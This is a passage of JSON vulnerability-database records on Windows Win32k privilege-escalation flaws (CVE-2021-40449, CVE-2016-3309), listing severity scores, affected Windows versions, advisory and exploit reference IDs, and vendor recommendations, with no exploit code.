"CVE-2021-41357", "CVE-2021-40450"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0740", "CPAI-2021-0738", "CPAI-2021-0739"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449", "MS:CVE-2021-41357", "MS:CVE-2021-40450"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}], "modified": "2021-11-10T22:42:19", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-11-10T22:42:19", "rev": 2}}, "objectVersion": "1.6", "attackerkb": {"attackerValue": 0, "exploitability": 0}, "wildExploited": true, "wildExploitedCategory": {"Vendor Advisory": "", "News Article or Blog": ""}, "wildExploitedReports": [{"category": "Vendor Advisory", "source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securityaffairs.co/wordpress/123285/hacking/ironhusky-zero-day.html", "published": "2021-10-21T14:52:00"}], "references_categories": {"Canonical": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449"], "Miscellaneous": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html"]}, "tags": [], "mitre_vector": {}, "last_activity": "2021-10-21T14:52:00"}, "lastseen": "2021-11-10T22:42:19", "differentElements": ["cvss2", "cvss3"], "edition": 5}], "viewCount": 32, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40450", "CVE-2021-40449", "CVE-2021-41357"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0738", "CPAI-2021-0739", "CPAI-2021-0740"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449", "MS:CVE-2021-41357", "MS:CVE-2021-40450"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}], "modified": "2021-11-27T04:45:44", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-11-27T04:45:44", "rev": 2}}, "objectVersion": "1.6", "attackerkb": {"attackerValue": 0, "exploitability": 0}, "wildExploited": true, "wildExploitedCategory": {"Vendor Advisory": "", "News Article or Blog": ""}, "wildExploitedReports": [{"category": "Vendor Advisory", "source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securityaffairs.co/wordpress/123285/hacking/ironhusky-zero-day.html", "published": "2021-10-21T14:52:00"}], "references_categories": {"Canonical": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449"], "Miscellaneous": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html"]}, "tags": [], "mitre_vector": {}, "last_activity": "2021-10-21T14:52:00", "_object_type": "robots.models.attackerkb.AttackerKB", "_object_types": ["robots.models.base.Bulletin", "robots.models.attackerkb.AttackerKB"]}], "checkpoint_advisories": [{"id": "CPAI-2021-0739", "vendorId": null, "hash": "096ffa3569aa4f5da02989fd44dfd2a9", "type": "checkpoint_advisories", "bulletinFamily": "info", "title": "Microsoft Win32k Elevation of Privilege (CVE-2021-40449)", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "published": "2021-10-12T00:00:00", "modified": "2021-10-12T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "", "reporter": "Check Point Advisories", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-26T19:24:56", "history": [{"bulletin": {"id": "CPAI-2021-0739", "vendorId": null, "hash": "306bf66b7fab0e403292c2d6b5adf6bb", "type": "checkpoint_advisories", "bulletinFamily": "info", "title": "Microsoft Win32k Elevation of Privilege (CVE-2021-40449)", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "published": "2021-10-12T00:00:00", "modified": "2021-10-12T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "", "reporter": "Check Point Advisories", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-02T19:05:24", "history": [], "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-02T19:05:24", "rev": 2}, "score": {"value": 6.3, "vector": "NONE", "modified": "2021-11-02T19:05:24", "rev": 2}}, "objectVersion": "1.6", "severity": "High", "protected_by": ["Security Gateway R80", "Security Gateway R77", "Security Gateway R75"], "vulnerable_products": ["Windows 10 Version 1809 for 32-bit Systems", "Windows 10 Version 1809 for x64-based Systems", "Windows 10 Version 1809 for ARM64-based Systems", "Windows Server 2019", "Windows Server 2019 (Server Core installation)", "Windows 10 Version 1909 for 32-bit Systems", "Windows 10 Version 1909 for x64-based Systems", "Windows 10 Version 1909 for ARM64-based Systems", "Windows 10 Version 21H1 for x64-based Systems", "Windows 10 Version 21H1 for ARM64-based Systems", "Windows 10 Version 21H1 for 32-bit Systems", "Windows Server 2022", "Windows Server 2022 (Server Core installation)", "Windows 10 Version 2004 for 32-bit Systems", "Windows 10 Version 2004 for ARM64-based Systems", "Windows 10 Version 2004 for x64-based Systems", "Windows Server, version 2004 (Server Core installation)", "Windows 10 Version 20H2 for x64-based Systems", "Windows 10 Version 20H2 for 32-bit Systems", "Windows 10 Version 20H2 for ARM64-based Systems", "Windows Server, version 20H2 (Server Core Installation)", "Windows 11 for x64-based Systems", "Windows 11 for ARM64-based Systems", "Windows 11 for 32-bit Systems", "Windows 10 for 32-bit Systems", "Windows 10 for x64-based Systems", "Windows 10 Version 1607 for 32-bit Systems", "Windows 10 Version 1607 for x64-based Systems", "Windows Server 2016", "Windows Server 2016 (Server Core installation)", "Windows 7 for 32-bit Systems Service Pack 1", "Windows 7 for x64-based Systems Service Pack 1", "Windows 8.1 for 32-bit systems", "Windows 8.1 for x64-based systems", "Windows RT 8.1", "Windows Server 2008 for 32-bit Systems Service Pack 2", "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "Windows Server 2008 for x64-based Systems Service Pack 2", "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "Windows Server 2012", "Windows Server 2012 (Server Core installation)", "Windows Server 2012 R2", "Windows Server 2012 R2 (Server Core installation)"]}, "lastseen": "2021-11-02T19:05:24", "differentElements": ["cvss2", "cvss3"], "edition": 1}], "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-11-26T19:24:56", "rev": 2}, "score": {"value": 6.3, "vector": "NONE", "modified": "2021-11-26T19:24:56", "rev": 2}}, "objectVersion": "1.6", "severity": "High", "protected_by": ["Security Gateway R80", "Security Gateway R77", "Security Gateway R75"], "vulnerable_products": ["Windows 10 Version 1809 for 32-bit Systems", "Windows 10 Version 1809 for x64-based Systems", "Windows 10 Version 1809 for ARM64-based Systems", "Windows Server 2019", "Windows Server 2019 (Server Core installation)", "Windows 10 Version 1909 for 32-bit Systems", "Windows 10 Version 1909 for x64-based Systems", "Windows 10 Version 1909 for ARM64-based Systems", "Windows 10 Version 21H1 for x64-based Systems", "Windows 10 Version 21H1 for ARM64-based Systems", "Windows 10 Version 21H1 for 32-bit Systems", "Windows Server 2022", "Windows Server 2022 (Server Core installation)", "Windows 10 Version 2004 for 32-bit Systems", "Windows 10 Version 2004 for ARM64-based Systems", "Windows 10 Version 2004 for x64-based Systems", "Windows Server, version 2004 (Server Core installation)", "Windows 10 Version 20H2 for x64-based Systems", "Windows 10 Version 20H2 for 32-bit Systems", "Windows 10 Version 20H2 for ARM64-based Systems", "Windows Server, version 20H2 (Server Core Installation)", "Windows 11 for x64-based Systems", "Windows 11 for ARM64-based Systems", "Windows 11 for 32-bit Systems", "Windows 10 for 32-bit Systems", "Windows 10 for x64-based Systems", "Windows 10 Version 1607 for 32-bit Systems", "Windows 10 Version 1607 for x64-based Systems", "Windows Server 2016", "Windows Server 2016 (Server Core installation)", "Windows 7 for 32-bit Systems Service Pack 1", "Windows 7 for x64-based Systems Service Pack 1", "Windows 8.1 for 32-bit systems", "Windows 8.1 for x64-based systems", "Windows RT 8.1", "Windows Server 2008 for 32-bit Systems Service Pack 2", "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "Windows Server 2008 for x64-based Systems Service Pack 2", "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "Windows Server 2012", "Windows Server 2012 (Server Core installation)", "Windows Server 2012 R2", "Windows Server 2012 R2 (Server Core installation)"], "_object_type": "robots.models.checkpoint.CheckpointAdvisoryBulletin", "_object_types": ["robots.models.checkpoint.CheckpointAdvisoryBulletin", "robots.models.base.Bulletin"]}, {"id": "CPAI-2016-0683", "vendorId": null, "hash": "8a3c81dc0c0100acbd622ee536a2bcb9", "type": "checkpoint_advisories", "bulletinFamily": "info", "title": "Microsoft Windows Win32k Elevation of Privilege (MS16-098: CVE-2016-3309)", "description": "An elevation of privilege vulnerability exists in the Windows Kernel. The vulnerability is caused when the Windows kernel-mode driver fails to properly handle objects in memory. A remote attacker can exploit this vulnerability by running a specially crafted application.", "published": "2016-08-09T00:00:00", "modified": "2016-08-09T00:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "", "reporter": "Check Point Advisories", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-11-02T03:34:29", "history": [], "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-11-02T03:34:29", "rev": 2}, "score": {"value": 6.4, "vector": "NONE", "modified": "2021-11-02T03:34:29", "rev": 2}}, "objectVersion": "1.6", "severity": "High", "protected_by": ["Security Gateway R80", "Security Gateway R77", "Security Gateway R75"], "vulnerable_products": ["Windows Vista", "Windows Server 2008", "Windows 7", "Windows Server 2008 R2", "Windows 8.1", "Windows Server 2012", "Windows Server 2012 R2", "Windows RT 8.1", "Windows 10"], "_object_type": "robots.models.checkpoint.CheckpointAdvisoryBulletin", "_object_types": ["robots.models.checkpoint.CheckpointAdvisoryBulletin", "robots.models.base.Bulletin"]}], "symantec": [{"id": "SMNTC-92297", "hash": "3e6305a2fc94b35d1a92a60c90b33cd5a79a8e4f8ecf6ef85f2b12485ceff9ff", "type": "symantec", "bulletinFamily": "software", "title": "Microsoft Windows Kernel 'Win32k.sys' CVE-2016-3309 Local Privilege Escalation Vulnerability", "description": "### Description\n\nMicrosoft Windows is prone to a local privilege-escalation vulnerability that occurs in the Windows kernel. A local attacker can exploit this issue to execute arbitrary code in kernel mode with elevated privileges.\n\n### Technologies Affected\n\n * Microsoft Windows 10 Version 1607 for 32-bit Systems \n * Microsoft Windows 10 Version 1607 for x64-based Systems \n * Microsoft Windows 10 for 32-bit Systems \n * Microsoft Windows 10 for x64-based Systems \n * Microsoft Windows 10 version 1511 for 32-bit Systems \n * Microsoft Windows 10 version 1511 for x64-based Systems \n * Microsoft Windows 7 for 32-bit Systems SP1 \n * Microsoft Windows 7 for x64-based Systems SP1 \n * Microsoft Windows 8.1 for 32-bit Systems \n * Microsoft Windows 8.1 for x64-based Systems \n * Microsoft Windows RT 8.1 \n * Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 \n * Microsoft Windows Server 2008 R2 for x64-based Systems SP1 \n * Microsoft Windows Server 2008 for 32-bit Systems SP2 \n * Microsoft Windows Server 2008 for Itanium-based Systems SP2 \n * Microsoft Windows Server 2008 for x64-based Systems SP2 \n * Microsoft Windows Server 2012 \n * Microsoft Windows Server 2012 R2 \n * Microsoft Windows Vista Service Pack 2 \n * Microsoft Windows Vista x64 Edition Service Pack 2 \n\n### Recommendations\n\n**Permit local access for trusted individuals only. Where possible, use restricted environments and restricted shells.** \nTo exploit this vulnerability, an attacker requires local access to an affected computer. Grant local access for trusted and accountable users only. \n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "published": "2016-08-09T00:00:00", "modified": "2016-08-09T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/92297", "reporter": "Symantec Security Response", "references": [], "cvelist": ["CVE-2016-3309"], "lastseen": "2021-06-08T19:05:17", "history": [{"bulletin": {"affectedSoftware": [{"name": "Microsoft Windows 7 for 32-bit Systems", "operator": "eq", "version": "SP1"}, {"name": "Microsoft Windows Server 2008 for Itanium-based Systems", "operator": "eq", "version": "SP2"}, {"name": "Microsoft Windows Server 2008 R2 for Itanium-based Systems", "operator": "eq", "version": "SP1"}, {"name": "Microsoft Windows 7 for x64-based Systems", "operator": "eq", "version": "SP1"}, {"name": "Microsoft Windows Server", "operator": "eq", "version": "2012"}, {"name": "Microsoft Windows Server 2008 R2 for x64-based Systems", "operator": "eq", "version": "SP1"}, {"name": "Microsoft Windows RT", "operator": "eq", "version": "8.1"}, {"name": "Microsoft Windows Vista x64 Edition", "operator": "eq", "version": "SP2"}, {"name": "Microsoft Windows Server 2012", "operator": "eq", "version": "R2"}, {"name": "Microsoft Windows", "operator": "eq", "version": "Vista SP2"}, {"name": "Microsoft Windows Server 2008 for x64-based Systems", "operator": "eq", "version": "SP2"}, {"name": "Microsoft Windows Server 2008 for 32-bit Systems", "operator": "eq", "version": "SP2"}], "bulletinFamily": "software", "cvelist": ["CVE-2016-3309"], "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "### Description\n\nMicrosoft Windows is prone to a local privilege-escalation vulnerability that occurs in the Windows kernel. A local attacker can exploit this issue to execute arbitrary code in kernel mode with elevated privileges. \n\n### Technologies Affected\n\n * Microsoft Windows 10 Version 1607 for 32-bit Systems\n * Microsoft Windows 10 Version 1607 for x64-based Systems\n * Microsoft Windows 10 for 32-bit Systems\n * Microsoft Windows 10 for x64-based Systems\n * Microsoft Windows 10 version 1511 for 32-bit Systems\n * Microsoft Windows 10 version 1511 for x64-based Systems\n * Microsoft Windows 7 for 32-bit Systems SP1\n * Microsoft Windows 7 for x64-based Systems SP1\n * Microsoft Windows 8.1 for 32-bit Systems\n * Microsoft Windows 8.1 for x64-based Systems\n * Microsoft Windows RT 8.1\n * Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1\n * Microsoft Windows Server 2008 R2 for x64-based Systems SP1\n * Microsoft Windows Server 2008 for 32-bit Systems SP2\n * Microsoft Windows Server 2008 for Itanium-based Systems SP2\n * Microsoft Windows Server 2008 for x64-based Systems SP2\n * Microsoft Windows Server 2012\n * Microsoft Windows Server 2012 R2\n * Microsoft Windows Vista Service Pack 2\n * Microsoft Windows Vista x64 Edition Service Pack 2\n\n### Recommendations\n\n#### Permit local access for trusted individuals only. Where possible, use restricted environments and restricted shells.\n\nTo exploit this vulnerability, an attacker requires local access to an affected computer. Grant local access for trusted and accountable users only. \n\nUpdates are available. Please see the references or vendor advisory for more information. \n", "enchantments": {"score": {"modified": "2016-09-04T11:41:33", "value": 6.6}}, "hash": "491175b59a6348c2dd6f98540e3652e70e67f01d81a94e9a046461e2f3e2c7da", "history": [], "href": "https://www.symantec.com/security_response/vulnerability.jsp?bid=92297", "id": "SMNTC-92297", "lastseen": "2016-09-04T11:41:33", "modified": "2016-08-09T00:00:00", "objectVersion": "1.4", "published": "2016-08-09T00:00:00", "references": [], "reporter": "Symantec Security Response", "title": "Microsoft Windows Kernel 'Win32k.sys' CVE-2016-3309 Local Privilege Escalation Vulnerability", "type": "symantec", "viewCount": 8}, "differentElements": ["description", "href", "affectedSoftware"], "edition": 1, "lastseen": "2016-09-04T11:41:33"}, {"bulletin": {"_object_type": "robots.models.symantec.SymantecBulletin", "_object_types": ["robots.models.base.Bulletin", "robots.models.symantec.SymantecBulletin"], "affectedSoftware": [{"name": "Microsoft Windows", "operator": "eq", "version": "10 Version 1607 for x64-based Systems "}, {"name": "Microsoft Windows Vista x64 Edition Service Pack", "operator": "eq", "version": "2 "}, {"name": "Microsoft Windows Server", "operator": "eq", "version": "2012 R2 "}, {"name": "Microsoft Windows", "operator": "eq", "version": "10 for x64-based Systems "}, {"name": "Microsoft Windows Server", "operator": "eq", "version": "2008 R2 for x64-based Systems SP1 "}, {"name": "Microsoft Windows", "operator": "eq", "version": "10 Version 1607 for 32-bit Systems "}, {"name": "Microsoft Windows", "operator": "eq", "version": "8.1 for 32-bit Systems "}, {"name": "Microsoft Windows Server", "operator": "eq", "version": "2008 for 32-bit Systems SP2 "}, {"name": "Microsoft Windows Vista Service Pack", "operator": "eq", "version": "2 "}, {"name": "Microsoft Windows", "operator": "eq", "version": "10 for 32-bit Systems "}, {"name": "Microsoft Windows", "operator": "eq", "version": "10 version 1511 for x64-based Systems "}, {"name": "Microsoft Windows Server", "operator": "eq", "version": "2012 "}, {"name": "Microsoft Windows", "operator": "eq", "version": "7 for 32-bit Systems SP1 "}, {"name": "Microsoft Windows Server", "operator": "eq", "version": "2008 for x64-based Systems SP2 "}, {"name": "Microsoft Windows", "operator": "eq", "version": "10 version 1511 for 32-bit Systems "}, {"name": "Microsoft Windows", "operator": "eq", "version": "7 for x64-based Systems SP1 "}, {"name": "Microsoft Windows", "operator": "eq", "version": "8.1 for x64-based Systems "}, {"name": "Microsoft 